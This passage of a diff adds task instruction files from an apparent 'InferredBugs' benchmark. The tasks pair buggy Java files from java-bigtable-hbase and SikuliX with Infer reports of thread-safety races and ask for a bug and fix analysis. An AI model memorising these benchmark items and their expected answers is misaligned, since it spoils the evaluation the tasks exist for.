+          RetryOptions retryOptions,
+          RequestT request,
+          BigtableAsyncRpc<RequestT, ResponseT> retryableRpc,
+          CallOptions callOptions,
+          ScheduledExecutorService retryExecutorService,
+          Metadata originalMetadata) {
+    this.retryOptions = retryOptions;
+    this.request = request;
+    this.rpc = retryableRpc;
+    this.callOptions = callOptions;
+    this.retryExecutorService = retryExecutorService;
+    this.originalMetadata = originalMetadata;
+    this.completionFuture = new GrpcFuture<>();
+  }
+
+  /** {@inheritDoc} */
+  @Override
+  public void onClose(Status status, Metadata trailers) {
+    synchronized (callLock) {
+      call = null;
+    }
+    rpcTimerContext.close();
+
+    // OK
+    if (status.isOk()) {
+      if (onOK(trailers)) {
+        operationTimerContext.close();
+      }
+    } else {
+      onError(status, trailers);
+    }
+  }
+
+  protected void onError(Status status, Metadata trailers) {
+    Code code = status.getCode();
+    // CANCELLED
+    if (code == Status.Code.CANCELLED) {
+      completionFuture.setException(status.asRuntimeException());
+      // An explicit user cancellation is not considered a failure.
+      operationTimerContext.close();
+      return;
+    }
+
+    // Non retry scenario
+    if (!retryOptions.enableRetries()
+        || !retryOptions.isRetryable(code)
+        // Unauthenticated is special because the request never made it to
+        // to the server, so all requests are retryable
+        || !(isRequestRetryable() || code == Code.UNAUTHENTICATED || code == Code.UNAVAILABLE)) {
+      rpc.getRpcMetrics().markFailure();
+      operationTimerContext.close();
+      setException(status.asRuntimeException());
+      return;
+    }
+
+    // Attempt retry with backoff
+    long nextBackOff = getNextBackoff();
+    failedCount += 1;
+
+    // Backoffs timed out.
+    if (nextBackOff == BackOff.STOP) {
+      setException(getExhaustedRetriesException(status));
+    } else {
+      String channelId = ChannelPool.extractIdentifier(trailers);
+      LOG.info("Retrying failed call. Failure #%d, got: %s on channel %s",
+          status.getCause(), failedCount, status, channelId);
+      performRetry(nextBackOff);
+    }
+  }
+
+  protected BigtableRetriesExhaustedException getExhaustedRetriesException(Status status) {
+    rpc.getRpcMetrics().markRetriesExhasted();
+    operationTimerContext.close();
+    String message = String.format("Exhausted retries after %d failures.", failedCount);
+    return new BigtableRetriesExhaustedException(message, status.asRuntimeException());
+  }
+
+  protected void performRetry(long nextBackOff) {
+    rpc.getRpcMetrics().markRetry();
+    retryExecutorService.schedule(getRunnable(), nextBackOff, TimeUnit.MILLISECONDS);
+  }
+
+  protected Runnable getRunnable() {
+    return new Runnable() {
+      @Override
+      public void run() {
+        AbstractRetryingOperation.this.run();
+      }
+    };
+  }
+
+  protected boolean isRequestRetryable() {
+    return rpc.isRetryable(getRetryRequest());
+  }
+
+  protected void setException(Exception exception) {
+    completionFuture.setException(exception);
+  }
+
+  /**
+   * A subclass has the opportunity to perform the final operations it needs now that the RPC is
+   * successfully complete. If a subclass has to retry, due to the message, this method will return
+   * false
+   * @return true if the operation was really completed.
+   */
+  protected abstract boolean onOK(Metadata trailers);
+
+  protected long getNextBackoff() {
+    if (currentBackoff == null) {
+      currentBackoff = retryOptions.createBackoff();
+    }
+    try {
+      return currentBackoff.nextBackOffMillis();
+    } catch (IOException e) {
+      return BackOff.STOP;
+    }
+  }
+
+  /**
+   * Calls {@link BigtableAsyncRpc#newCall(CallOptions)} and
+   * {@link BigtableAsyncRpc#start(Object, io.grpc.ClientCall.Listener, Metadata, ClientCall)} }
+   * with this as the listener so that retries happen correctly.
+   */
+  protected void run() {
+    rpcTimerContext = rpc.getRpcMetrics().timeRpc();
+    Metadata metadata = new Metadata();
+    metadata.merge(originalMetadata);
+    synchronized (callLock) {
+      // There's a subtle race condition in RetryingStreamOperation which requires a separate
+      // newCall/start split. The call variable needs to be set before onMessage() happens; that
+      // usually will occur, but some unit tests broke with a merged newCall and start.
+      call = rpc.newCall(getCallOptions());
+      rpc.start(getRetryRequest(), this, metadata, call);
+    }
+  }
+
+  protected CallOptions getCallOptions() {
+    if (callOptions.getDeadline() != null) {
+      return callOptions;
+    }
+    MethodDescriptor<RequestT, ResponseT> methodDescriptor = rpc.getMethodDescriptor();
+    if (methodDescriptor.getType() != MethodType.UNARY) {
+      if (methodDescriptor == BigtableGrpc.METHOD_READ_ROWS
+          && !CallOptionsFactory.ConfiguredCallOptionsFactory.isGet(request)) {
+        // This is a streaming read.
+        return callOptions;
+      } // else this is a 1) mutateRows or 2) SampleRowKeys or 3) a get, all of which can benefit
+        // from a timeout equal to a unary operation.
+    }
+    return callOptions.withDeadlineAfter(UNARY_DEADLINE_MINUTES, TimeUnit.MINUTES);
+  }
+
+  protected RequestT getRetryRequest() {
+    return request;
+  }
+
+  public final RequestT getOriginalRequest() {
+    return request;
+  }
+
+  /**
+   * Initial execution of the RPC.
+   */
+  public ListenableFuture<ResultT> getAsyncResult() {
+    Preconditions.checkState(operationTimerContext == null);
+    operationTimerContext = rpc.getRpcMetrics().timeOperation();
+    run();
+    return completionFuture;
+  }
+
+  /**
+   * Cancels the RPC.
+   */
+  public void cancel() {
+    cancel("User requested cancelation.");
+  }
+
+  public ResultT getBlockingResult() {
+    try {
+      return getAsyncResult().get();
+    } catch (InterruptedException e) {
+      Thread.currentThread().interrupt();
+      cancel();
+      throw Status.CANCELLED.withCause(e).asRuntimeException();
+    } catch (ExecutionException e) {
+      cancel();
+      throw Status.fromThrowable(e).asRuntimeException();
+    }
+  }
+
+  /**
+   * Cancels the RPC with a specific message.
+   *
+   * @param message
+   */
+  protected void cancel(final String message) {
+    synchronized (callLock) {
+      if (call != null) {
+        call.cancel(message, null);
+        call = null;
+      }
+    }
+  }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+THREAD_SAFETY_VIOLATION
+
+### Qualifier:
+Read/Write race. Non-private method `com.google.cloud.bigtable.grpc.async.AbstractRetryingOperation.onClose` reads without synchronization from `this.com.google.cloud.bigtable.grpc.async.AbstractRetryingOperation.operationTimerContext`. Potentially races with write in method `AbstractRetryingOperation.getBlockingResult()`.
+ Reporting because this access may occur on a background thread.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void AbstractRetryingOperation.onClose(Status,Metadata)
+
+### Procedure Id:
+com.google.cloud.bigtable.grpc.async.AbstractRetryingOperation.onClose(io.grpc.Status,io.grpc.Metada.e53f52ce0617da69325438994065534b
+
+### File:
+bigtable-client-core-parent/bigtable-client-core/src/main/java/com/google/cloud/bigtable/grpc/async/AbstractRetryingOperation.java
+
+### Key:
+AbstractRetryingOperation.java|onClose|THREAD_SAFETY_VIOLATION
+
+### Node Key:
+9c5d6d9028928346cc4fb44cced5dea1
+
+### Hash:
+0d7e64949e30392816f00b471a00c5be
+
+### Bug Type Hum:
+Thread Safety Violation
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-4411/instruction.md b/inferredbugs-4411/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..7a36335c1d03b9e2f6dc11cae92b9fe4b8681a0d
--- /dev/null
+++ b/inferredbugs-4411/instruction.md
@@ -0,0 +1,563 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** java-bigtable-hbase
+**Bug ID:** 52
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*
+ * Copyright 2015 Google Inc. All Rights Reserved.
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.google.cloud.bigtable.grpc.async;
+
+import io.opencensus.common.Scope;
+import java.util.concurrent.ExecutionException;
+import java.util.concurrent.Future;
+import java.util.concurrent.ScheduledExecutorService;
+import java.util.concurrent.TimeUnit;
+
+import javax.annotation.Nullable;
+
+import com.google.api.core.ApiClock;
+import com.google.api.gax.retrying.ExponentialRetryAlgorithm;
+import com.google.api.gax.retrying.RetrySettings;
+import com.google.api.gax.retrying.TimedAttemptSettings;
+import com.google.bigtable.v2.ReadRowsRequest;
+import com.google.cloud.bigtable.config.Logger;
+import com.google.cloud.bigtable.config.RetryOptions;
+import com.google.cloud.bigtable.grpc.CallOptionsFactory;
+import com.google.cloud.bigtable.grpc.io.ChannelPool;
+import com.google.cloud.bigtable.grpc.scanner.BigtableRetriesExhaustedException;
+import com.google.cloud.bigtable.metrics.Timer;
+import com.google.common.annotations.VisibleForTesting;
+import com.google.common.base.Preconditions;
+import com.google.common.collect.ImmutableMap;
+import com.google.common.util.concurrent.AbstractFuture;
+import com.google.common.util.concurrent.ListenableFuture;
+
+import io.grpc.CallOptions;
+import io.grpc.ClientCall;
+import io.grpc.Deadline;
+import io.grpc.Metadata;
+import io.grpc.Status;
+import io.grpc.Status.Code;
+import io.opencensus.contrib.grpc.util.StatusConverter;
+import io.opencensus.trace.Annotation;
+import io.opencensus.trace.AttributeValue;
+import io.opencensus.trace.EndSpanOptions;
+import io.opencensus.trace.Span;
+import io.opencensus.trace.Tracer;
+import io.opencensus.trace.Tracing;
+import org.threeten.bp.Duration;
+import org.threeten.bp.temporal.ChronoUnit;
+
+/**
+ * A {@link ClientCall.Listener} that retries a {@link BigtableAsyncRpc} request.
+ */
+@SuppressWarnings("unchecked")
+public abstract class AbstractRetryingOperation<RequestT, ResponseT, ResultT>
+    extends ClientCall.Listener<ResponseT>  {
+
+  @SuppressWarnings("rawtypes")
+  private static final ClientCall NULL_CALL = new ClientCall() {
+
+    @Override
+    public void start(Listener responseListener, Metadata headers) {
+    }
+
+    @Override
+    public void request(int numMessages) {
+    }
+
+    @Override
+    public void cancel(String message, Throwable cause) {
+    }
+
+    @Override
+    public void halfClose() {
+    }
+
+    @Override
+    public void sendMessage(Object message) {
+    }
+  };
+
+  /** Constant <code>LOG</code> */
+  protected static final Logger LOG = new Logger(AbstractRetryingOperation.class);
+  private static final Tracer TRACER = Tracing.getTracer();
+  private static final EndSpanOptions END_SPAN_OPTIONS_WITH_SAMPLE_STORE =
+      EndSpanOptions.builder().setSampleToLocalSpanStore(true).build();
+
+  // The server-side has a 5 minute timeout. Unary operations should be timed-out on the client side
+  // after 6 minutes.
+  protected static final long UNARY_DEADLINE_MINUTES = 6l;
+
+  private static String makeSpanName(String prefix, String fullMethodName) {
+    return prefix + "." + fullMethodName.replace('/', '.');
+  }
+
+  protected class GrpcFuture<RespT> extends AbstractFuture<RespT> {
+    /**
+     * This gets called from {@link Future#cancel(boolean)} for cancel(true). If a user explicitly
+     * cancels the Future, that should trigger a cancellation of the RPC.
+     */
+    @Override
+    protected void interruptTask() {
+      if (!isDone()) {
+        AbstractRetryingOperation.this.cancel("Request interrupted.");
+      }
+    }
+
+    @Override
+    public boolean set(@Nullable RespT resp) {
+      return super.set(resp);
+    }
+
+    @Override
+    public boolean setException(Throwable throwable) {
+      return super.setException(throwable);
+    }
+  }
+
+  private final ExponentialRetryAlgorithm exponentialRetryAlgorithm;
+  private final ApiClock clock;
+  private TimedAttemptSettings currentBackoff;
+
+  protected final BigtableAsyncRpc<RequestT, ResponseT> rpc;
+  protected final RetryOptions retryOptions;
+  protected final ScheduledExecutorService retryExecutorService;
+
+  private final RequestT request;
+  private final CallOptions callOptions;
+  private final Metadata originalMetadata;
+
+  protected int failedCount = 0;
+
+  protected final GrpcFuture<ResultT> completionFuture;
+  private Object callLock = new String("");
+  private ClientCall<RequestT, ResponseT> call = NULL_CALL;
+  protected Timer.Context operationTimerContext;
+  protected Timer.Context rpcTimerContext;
+
+  protected final Span operationSpan;
+
+  /**
+   * <p>Constructor for AbstractRetryingRpcListener.</p>
+   *
+   * @param retryOptions a {@link com.google.cloud.bigtable.config.RetryOptions} object.
+   * @param request a RequestT object.
+   * @param retryableRpc a {@link com.google.cloud.bigtable.grpc.async.BigtableAsyncRpc} object.
+   * @param callOptions a {@link io.grpc.CallOptions} object.
+   * @param retryExecutorService a {@link java.util.concurrent.ScheduledExecutorService} object.
+   * @param originalMetadata a {@link io.grpc.Metadata} object.
+   * @param clock a {@link ApiClock} object
+   */
+  public AbstractRetryingOperation(
+          RetryOptions retryOptions,
+          RequestT request,
+          BigtableAsyncRpc<RequestT, ResponseT> retryableRpc,
+          CallOptions callOptions,
+          ScheduledExecutorService retryExecutorService,
+          Metadata originalMetadata,
+          ApiClock clock) {
+    this.retryOptions = retryOptions;
+    this.request = request;
+    this.rpc = retryableRpc;
+    this.callOptions = callOptions;
+    this.retryExecutorService = retryExecutorService;
+    this.originalMetadata = originalMetadata;
+    this.completionFuture = new GrpcFuture<>();
+    String spanName = makeSpanName("Operation", rpc.getMethodDescriptor().getFullMethodName());
+    this.operationSpan = TRACER.spanBuilder(spanName).setRecordEvents(true).startSpan();
+    this.clock = clock;
+    this.exponentialRetryAlgorithm = createRetryAlgorithm(clock);
+  }
+
+  /** {@inheritDoc} */
+  @Override
+  public void onClose(Status status, Metadata trailers) {
+    try (Scope scope = TRACER.withSpan(operationSpan)) {
+      synchronized (callLock) {
+        call = NULL_CALL;
+      }
+      rpcTimerContext.close();
+      // OK
+      if (status.isOk()) {
+        if (onOK(trailers)) {
+          finalizeStats(status);
+        }
+      } else {
+        onError(status, trailers);
+      }
+    } catch (Exception e) {
+      setException(e);
+    }
+  }
+
+  protected void finalizeStats(Status status) {
+    operationTimerContext.close();
+    if (operationSpan != null) {
+      operationSpan.setStatus(StatusConverter.fromGrpcStatus(status));
+      operationSpan.end(END_SPAN_OPTIONS_WITH_SAMPLE_STORE);
+    }
+  }
+
+  protected void onError(Status status, Metadata trailers) {
+    Code code = status.getCode();
+    // CANCELLED
+    if (code == Status.Code.CANCELLED) {
+      setException(status.asRuntimeException());
+      // An explicit user cancellation is not considered a failure.
+      finalizeStats(status);
+      return;
+    }
+
+    String channelId = ChannelPool.extractIdentifier(trailers);
+    // Non retry scenario
+    if (!retryOptions.enableRetries() || !retryOptions.isRetryable(code)
+    // Unauthenticated is special because the request never made it to
+    // to the server, so all requests are retryable
+        || !(isRequestRetryable() || code == Code.UNAUTHENTICATED || code == Code.UNAVAILABLE)) {
+      LOG.error("Could not complete RPC. Failure #%d, got: %s on channel %s.\nTrailers: %s",
+          status.getCause(), failedCount, status, channelId, trailers);
+      rpc.getRpcMetrics().markFailure();
+      finalizeStats(status);
+      setException(status.asRuntimeException());
+      return;
+    }
+
+    // Attempt retry with backoff
+    Long nextBackOff = getNextBackoff();
+    failedCount += 1;
+
+    // Backoffs timed out.
+    if (nextBackOff == null) {
+      LOG.error("All retries were exhausted. Failure #%d, got: %s on channel %s.\nTrailers: %s",
+          status.getCause(), failedCount, status, channelId, trailers);
+      setException(getExhaustedRetriesException(status));
+    } else {
+      LOG.warn("Retrying failed call. Failure #%d, got: %s on channel %s.\nTrailers: %s",
+          status.getCause(), failedCount, status, channelId, trailers);
+      performRetry(nextBackOff);
+    }
+  }
+
+  protected BigtableRetriesExhaustedException getExhaustedRetriesException(Status status) {
+    operationSpan.addAnnotation("exhaustedRetries");
+    rpc.getRpcMetrics().markRetriesExhasted();
+    finalizeStats(status);
+    String message = String.format("Exhausted retries after %d failures.", failedCount);
+    return new BigtableRetriesExhaustedException(message, status.asRuntimeException());
+  }
+
+  protected void performRetry(long nextBackOff) {
+    operationSpan.addAnnotation("retryWithBackoff",
+      ImmutableMap.of("backoff", AttributeValue.longAttributeValue(nextBackOff)));
+    rpc.getRpcMetrics().markRetry();
+    retryExecutorService.schedule(getRunnable(), nextBackOff, TimeUnit.MILLISECONDS);
+  }
+
+  protected Runnable getRunnable() {
+    return new Runnable() {
+      @Override
+      public void run() {
+        AbstractRetryingOperation.this.run();
+      }
+    };
+  }
+
+  protected boolean isRequestRetryable() {
+    return rpc.isRetryable(getRetryRequest());
+  }
+
+  protected void setException(Exception exception) {
+    completionFuture.setException(exception);
+  }
+
+  /**
+   * A subclass has the opportunity to perform the final operations it needs now that the RPC is
+   * successfully complete. If a subclass has to retry, due to the message, this method will return
+   * false
+   * @return true if the operation was really completed.
+   */
+  protected abstract boolean onOK(Metadata trailers);
+
+  protected Long getNextBackoff() {
+    if (currentBackoff == null) {
+      // Historically, the client waited for "total timeout" after the first failure.  For now,
+      // that behavior is preserved, even though that's not the ideal.
+      //
+      // TODO: Think through retries, and create policy that works with the mental model most
+      //       users would have of relating to retries.  That would likely involve updating some
+      //       default settings in addition to changing the algorithm.
+      currentBackoff = exponentialRetryAlgorithm.createFirstAttempt();
+    }
+    currentBackoff = exponentialRetryAlgorithm.createNextAttempt(currentBackoff);
+    if (!exponentialRetryAlgorithm.shouldRetry(currentBackoff)) {
+
+      // TODO: consider creating a subclass of exponentialRetryAlgorithm to encapsulate this logic
+      long timeLeftNs =  currentBackoff.getGlobalSettings().getTotalTimeout().toNanos() -
+          (clock.nanoTime() - currentBackoff.getFirstAttemptStartTimeNanos());
+      long timeLeftMs = TimeUnit.NANOSECONDS.toMillis(timeLeftNs);
+
+      if (timeLeftMs > currentBackoff.getGlobalSettings().getInitialRetryDelay().toMillis()) {
+        // The backoff algorithm doesn't always wait until the timeout is achieved.  Wait
+        // one final time so that retries hit
+        return timeLeftMs;
+      } else {
+
+        // Finish for real.
+        return null;
+      }
+    } else {
+      return currentBackoff.getRetryDelay().toMillis();
+    }
+  }
+
+  @VisibleForTesting
+  public boolean inRetryMode() {
+    return currentBackoff != null;
+  }
+
+  /**
+   * Either a response was found, or a timeout event occurred. Reset the information relating to
+   * Status oriented exception handling.
+   */
+  protected void resetStatusBasedBackoff() {
+    this.currentBackoff = null;
+    this.failedCount = 0;
+  }
+
+  /**
+   * <p>createBackoff.</p>
+   *
+   * @return a {@link ExponentialRetryAlgorithm} object.
+   */
+  private ExponentialRetryAlgorithm createRetryAlgorithm(ApiClock clock) {
+    long timeoutMs = retryOptions.getMaxElapsedBackoffMillis();
+
+    Deadline deadline = getOperationCallOptions().getDeadline();
+    if (deadline != null) {
+      timeoutMs = deadline.timeRemaining(TimeUnit.MILLISECONDS);
+    }
+
+    RetrySettings retrySettings = RetrySettings.newBuilder()
+
+        .setJittered(true)
+
+        // How long should the sleep be between RPC failure and the next RPC retry?
+        .setInitialRetryDelay(toDuration(retryOptions.getInitialBackoffMillis()))
+
+        // How fast should the retry delay increase?
+        .setRetryDelayMultiplier(retryOptions.getBackoffMultiplier())
+
+        // What is the maximum amount of sleep time between retries?
+        // There needs to be some sane number for max retry delay, and it's unclear what that
+        // number ought to be.  1 Minute time was chosen because some number is needed.
+        .setMaxRetryDelay(Duration.of(1, ChronoUnit.MINUTES))
+
+        // How long should we wait before giving up retries after the first failure?
+        .setTotalTimeout(toDuration(timeoutMs))
+
+        .build();
+    return new ExponentialRetryAlgorithm(retrySettings, clock);
+  }
+
+  private static Duration toDuration(long millis) {
+    return Duration.of(millis, ChronoUnit.MILLIS);
+  }
+
+  /**
+   * Calls {@link BigtableAsyncRpc#newCall(CallOptions)} and
+   * {@link BigtableAsyncRpc#start(Object, io.grpc.ClientCall.Listener, Metadata, ClientCall)} }
+   * with this as the listener so that retries happen correctly.
+   */
+  protected void run() {
+    try (Scope scope = TRACER.withSpan(operationSpan)) {
+      rpcTimerContext = rpc.getRpcMetrics().timeRpc();
+      operationSpan.addAnnotation(Annotation.fromDescriptionAndAttributes("rpcStart",
+        ImmutableMap.of("attempt", AttributeValue.longAttributeValue(failedCount))));
+      Metadata metadata = new Metadata();
+      metadata.merge(originalMetadata);
+      synchronized (callLock) {
+        // There's a subtle race condition in RetryingStreamOperation which requires a separate
+        // newCall/start split. The call variable needs to be set before onMessage() happens; that
+        // usually will occur, but some unit tests broke with a merged newCall and start.
+        call = rpc.newCall(getRpcCallOptions());
+        rpc.start(getRetryRequest(), this, metadata, call);
+      }
+    } catch (Exception e) {
+      setException(e);
+    }
+  }
+
+  protected ClientCall<RequestT, ResponseT> getCall() {
+    return call;
+  }
+
+  /**
+   * Returns the {@link CallOptions} that a user set for the entire Operation, which can span multiple RPCs/retries.
+   * @return The {@link CallOptions}
+   */
+  protected CallOptions getOperationCallOptions() {
+    return callOptions;
+  }
+
+  /**
+   * Create an {@link CallOptions} that has a fail safe RPC deadline to make sure that unary
+   * operations don't hang. This will have to be overridden for streaming RPCs like read rows.
+   * <p>
+   * The logic is as follows:
+   * <ol>
+   *   <li> If the user provides a deadline, use the deadline</li>
+   *   <li> Else If this is a streaming read, don't set an explicit deadline.  The
+   *   {@link com.google.cloud.bigtable.grpc.io.Watchdog} will handle hanging</li>
+   *   <li> Else Set a deadline of {@link #UNARY_DEADLINE_MINUTES} minutes deadline.</li>
+   * </ol>
+   *
+   * @see com.google.cloud.bigtable.grpc.io.Watchdog Watchdog which handles hanging for streaming
+   * reads.
+   *
+   * @return a {@link CallOptions}
+   */
+  protected CallOptions getRpcCallOptions() {
+    if (callOptions.getDeadline() != null || isStreamingRead()) {
+      // If the user set a deadline, honor it.
+      // If this is a streaming read, then the Watchdog will take affect and ensure that hanging does not occur.
+      return getOperationCallOptions();
+    } else {
+      // Unary calls should fail after 6 minutes, if there isn't any response from the server.
+      return callOptions.withDeadlineAfter(UNARY_DEADLINE_MINUTES, TimeUnit.MINUTES);
+    }
+  }
+
+  // TODO(sduskis): This is only required because BigtableDataGrpcClient doesn't always use
+  //      RetryingReadRowsOperation like it should.
+  protected boolean isStreamingRead() {
+    return request instanceof ReadRowsRequest &&
+            !CallOptionsFactory.ConfiguredCallOptionsFactory.isGet((ReadRowsRequest) request);
+  }
+
+  protected RequestT getRetryRequest() {
+    return request;
+  }
+
+  /**
+   * Initial execution of the RPC.
+   */
+  public ListenableFuture<ResultT> getAsyncResult() {
+    Preconditions.checkState(operationTimerContext == null);
+    operationTimerContext = rpc.getRpcMetrics().timeOperation();
+    run();
+    return completionFuture;
+  }
+
+  /**
+   * Cancels the RPC.
+   */
+  public void cancel() {
+    cancel("User requested cancelation.");
+  }
+
+  public ResultT getBlockingResult() {
+    try {
+      return getAsyncResult().get();
+    } catch (InterruptedException e) {
+      Thread.currentThread().interrupt();
+      cancel();
+      throw Status.CANCELLED.withCause(e).asRuntimeException();
+    } catch (ExecutionException e) {
+      cancel();
+      throw Status.fromThrowable(e).asRuntimeException();
+    }
+  }
+
+  /**
+   * Cancels the RPC with a specific message.
+   *
+   * @param message
+   */
+  protected void cancel(final String message) {
+    call.cancel(message, null);
+  }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+THREAD_SAFETY_VIOLATION
+
+### Qualifier:
+Unprotected write. Non-private method `com.google.cloud.bigtable.grpc.async.AbstractRetryingOperation.run` writes to field `this.com.google.cloud.bigtable.grpc.async.AbstractRetryingOperation.rpcTimerContext` outside of synchronization.
+ Reporting because this access may occur on a background thread.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void AbstractRetryingOperation.run()
+
+### Procedure Id:
+com.google.cloud.bigtable.grpc.async.AbstractRetryingOperation.run():void.0ecdf49c616c7e4609d87eaf17934b68
+
+### File:
+bigtable-client-core-parent/bigtable-client-core/src/main/java/com/google/cloud/bigtable/grpc/async/AbstractRetryingOperation.java
+
+### Key:
+AbstractRetryingOperation.java|run|THREAD_SAFETY_VIOLATION
+
+### Node Key:
+9c5d6d9028928346cc4fb44cced5dea1
+
+### Hash:
+51c42c6be4b92441303be8700629975b
+
+### Bug Type Hum:
+Thread Safety Violation
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-4501/instruction.md b/inferredbugs-4501/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..78b74ffb053b0b033d3f45584274970f6504803d
--- /dev/null
+++ b/inferredbugs-4501/instruction.md
@@ -0,0 +1,728 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** SikuliX-2014
+**Bug ID:** 36
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*
+ * Copyright 2010-2014, Sikuli.org, SikulixUtil.com
+ * Released under the MIT License.
+ *
+ * modified RaiMan
+ */
+package org.sikuli.script;
+
+import org.sikuli.basics.HotkeyManager;
+import org.sikuli.util.Tests;
+import org.sikuli.util.ScreenHighlighter;
+import java.awt.Dimension;
+import java.io.File;
+import java.net.URL;
+import java.security.CodeSource;
+import java.util.Date;
+import javax.swing.Box;
+import javax.swing.BoxLayout;
+import javax.swing.JLabel;
+import javax.swing.JOptionPane;
+import javax.swing.JPanel;
+import javax.swing.JPasswordField;
+import javax.swing.JScrollPane;
+import javax.swing.JTextArea;
+import org.sikuli.basics.Debug;
+import org.sikuli.basics.FileManager;
+import org.sikuli.basics.PreferencesUser;
+import org.sikuli.basics.Settings;
+import org.sikuli.util.LinuxSupport;
+
+/**
+ * global services for package API
+ */
+public class Sikulix {
+
+  private static String imgLink = "http://www.sikulix.com/uploads/1/4/2/8/14281286";
+  private static String imgHttp = "1389888228.jpg";
+  private static String imgNet = imgLink + "/" + imgHttp;
+
+  private static int lvl = 3;
+  private static void log(int level, String message, Object... args) {
+    Debug.logx(level, "Sikulix: " + message, args);
+  }
+
+  private static void p(String msg, Object... args) {
+    System.out.println(String.format(msg, args));
+  }
+
+  private static void terminate(int retVal, String msg, Object... args) {
+    p(msg, args);
+    System.exit(retVal);
+  }
+
+  private static boolean runningFromJar;
+  private static String jarPath;
+  private static String jarParentPath;
+  private static final String prefNonSikuli = "nonSikuli_";
+  private static RunTime rt = null;
+  public static int testNumber = -1;
+
+  static {
+    String jarName = "";
+
+    CodeSource codeSrc =  Sikulix.class.getProtectionDomain().getCodeSource();
+    if (codeSrc != null && codeSrc.getLocation() != null) {
+      jarName = codeSrc.getLocation().getPath();
+    }
+
+    if (jarName.contains("sikulixsetupAPI")) {
+      JOptionPane.showMessageDialog(null, "Not useable!\nRun setup first!",
+              "sikulixsetupAPI", JOptionPane.ERROR_MESSAGE);
+      System.exit(0);
+    }
+
+    rt = RunTime.get();
+    if (Debug.getDebugLevel() == 0) {
+      Debug.setDebugLevel(1);
+    }
+
+    if (codeSrc != null && codeSrc.getLocation() != null) {
+      URL jarURL = codeSrc.getLocation();
+      jarPath = FileManager.slashify(new File(jarURL.getPath()).getAbsolutePath(), false);
+      jarParentPath = (new File(jarPath)).getParent();
+      if (jarPath.endsWith(".jar")) {
+        runningFromJar = true;
+      } else {
+        jarPath += "/";
+      }
+    }
+  }
+
+  /**
+   * checking parameter -d on commandline<br>
+   * 0 - list all available tests<br>
+   * 1 - run all available tests<br>
+   * n - run the test with that number if available
+   *
+   * @param args currently only -d is evaluated
+   */
+  public static void main(String[] args) throws FindFailed {
+
+    System.out.println("********** Running Sikulix.main");
+
+    int dl = RunTime.checkArgs(args, RunTime.Type.API);
+    if (dl > -1 && dl < 999) {
+      testNumber = dl;
+      Debug.on(3);
+    } else {
+      testNumber = -1;
+    }
+
+    testNumber = rt.getOptionNumber("testing.test", testNumber);
+
+    if (dl == 999) {
+      int exitCode = Runner.runScripts(args);
+      cleanUp(exitCode);
+      System.exit(exitCode);
+    } else if (testNumber > -1) {
+      if (!rt.testing) {
+        rt.show();
+        rt.testing = true;
+      }
+      Tests.runTest(testNumber);
+      System.exit(1);
+    } else {
+      rt = RunTime.get();
+      if (rt.fSxBaseJar.getName().contains("setup")) {
+        Sikulix.popError("Not useable!\nRun setup first!");
+        System.exit(0);
+      }
+      Debug.on(3);
+      Settings.InfoLogs = false;
+      Settings.ActionLogs = false;
+
+      Screen s = new Screen();
+
+			RunClient runner = new RunClient("192.168.2.114", "50001");
+			runner.send("START");
+			runner.send("SDIR /Volumes/HD6/rhocke-plus/SikuliX-2014/StuffContainer/testScripts/testJavaScript");
+			runner.send("RUN testRunServer");
+			runner.close(true);
+			System.exit(1);
+
+      if (rt.runningWinApp) {
+        popup("Hello World\nNot much else to do ( yet ;-)", rt.fSxBaseJar.getName());
+        try {
+          Screen scr = new Screen();
+          scr.find(new Image(scr.userCapture("grab something to find"))).highlight(3);
+        } catch (Exception ex) {
+          popup("Uuups :-(\n" + ex.getMessage(), rt.fSxBaseJar.getName());
+        }
+        popup("Hello World\nNothing else to do ( yet ;-)", rt.fSxBaseJar.getName());
+        System.exit(1);
+      }
+      String version = String.format("(%s-%s)", rt.getVersionShort(), rt.sxBuildStamp);
+      File lastSession = new File(rt.fSikulixStore, "LastAPIJavaScript.js");
+      String runSomeJS = "";
+      if (lastSession.exists()) {
+        runSomeJS = FileManager.readFileToString(lastSession);
+      }
+      runSomeJS = inputText("enter some JavaScript (know what you do - may silently die ;-)"
